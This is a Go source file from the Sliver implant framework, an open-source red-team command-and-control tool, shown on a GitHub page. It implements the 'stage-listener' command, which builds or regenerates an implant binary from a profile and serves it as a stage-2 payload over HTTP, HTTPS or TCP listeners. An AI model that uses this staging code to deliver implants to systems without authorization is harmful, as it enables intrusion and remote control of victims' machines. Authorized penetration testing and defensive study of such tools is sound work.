-
Notifications
You must be signed in to change notification settings - Fork 1.1k
/
stager.go
200 lines (180 loc) · 5.75 KB
/
stager.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
package command
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"net/url"
"path/filepath"
"strconv"
"strings"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/desertbit/grumble"
)
// stage-listener --url [tcp://ip:port | http://ip:port ] --profile name
func stageListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
var implantProfile *clientpb.ImplantProfile
profileName := ctx.Flags.String("profile")
listenerURL := ctx.Flags.String("url")
if profileName == "" || listenerURL == "" {
fmt.Println(Warn + "missing required flags, see `help stage-listener` for more info")
return
}
// parse listener url
stagingURL, err := url.Parse(listenerURL)
if err != nil {
fmt.Printf(Warn + "listener-url format not supported")
return
}
stagingPort, err := strconv.ParseUint(stagingURL.Port(), 10, 32)
if err != nil {
fmt.Printf(Warn+"error parsing staging port: %v\n", err)
return
}
// get profile
profiles := getImplantProfiles(rpc)
if len(profiles) == 0 {
return
}
if len(profiles) == 0 {
fmt.Printf(Info+"No profiles, create one with `%s`\n", consts.NewProfileStr)
return
}
for _, profile := range profiles {
if profileName == profile.Name {
implantProfile = profile
}
}
if implantProfile.GetName() == "" {
fmt.Printf(Warn + "could not find the implant name from the profile\n")
return
}
stage2, err := getSliverBinary(*implantProfile, rpc)
if err != nil {
fmt.Printf(Warn+"Error: %v\n", err)
return
}
switch stagingURL.Scheme {
case "http":
ctrl := make(chan bool)
go spin.Until("Starting HTTP staging listener...", ctrl)
stageListener, err := rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTP,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error starting HTTP staging listener: %v\n", err)
return
}
fmt.Printf(Info+"Job %d (http) started\n", stageListener.GetJobID())
case "https":
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
fmt.Printf("\n"+Warn+"Failed to load local certificate %v", err)
return
}
ctrl := make(chan bool)
go spin.Until("Starting HTTPS staging listener...", ctrl)
stageListener, err := rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTPS,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error starting HTTPS staging listener: %v\n", err)
return
}
fmt.Printf(Info+"Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
ctrl := make(chan bool)
go spin.Until("Starting TCP staging listener...", ctrl)
stageListener, err := rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_TCP,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error starting TCP staging listener: %v\n", err)
return
}
fmt.Printf(Info+"Job %d (tcp) started\n", stageListener.GetJobID())
default:
fmt.Printf(Warn+"Unsupported staging protocol: %s\n", stagingURL.Scheme)
return
}
}
func getSliverBinary(profile clientpb.ImplantProfile, rpc rpcpb.SliverRPCClient) ([]byte, error) {
var data []byte
// get implant builds
builds, err := rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return data, err
}
implantName := buildImplantName(profile.GetConfig().GetName())
_, ok := builds.GetConfigs()[implantName]
if implantName == "" || !ok {
// no built implant found for profile, generate a new one
fmt.Printf(Info+"No builds found for profile %s, generating a new one\n", profile.GetName())
ctrl := make(chan bool)
go spin.Until("Compiling, please wait ...", ctrl)
generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: profile.GetConfig(),
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Println("Error generating implant")
return data, err
}
data = generated.GetFile().GetData()
profile.Config.Name = buildImplantName(generated.GetFile().GetName())
_, err = rpc.SaveImplantProfile(context.Background(), &profile)
if err != nil {
fmt.Println("Error updating implant profile")
return data, err
}
} else {
// Found a build, reuse that one
fmt.Printf(Info+"Sliver name for profile: %s\n", implantName)
regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: profile.GetConfig().GetName(),
})
if err != nil {
return data, err
}
data = regenerate.GetFile().GetData()
}
return data, err
}
func buildImplantName(name string) string {
return strings.TrimSuffix(name, filepath.Ext(name))
}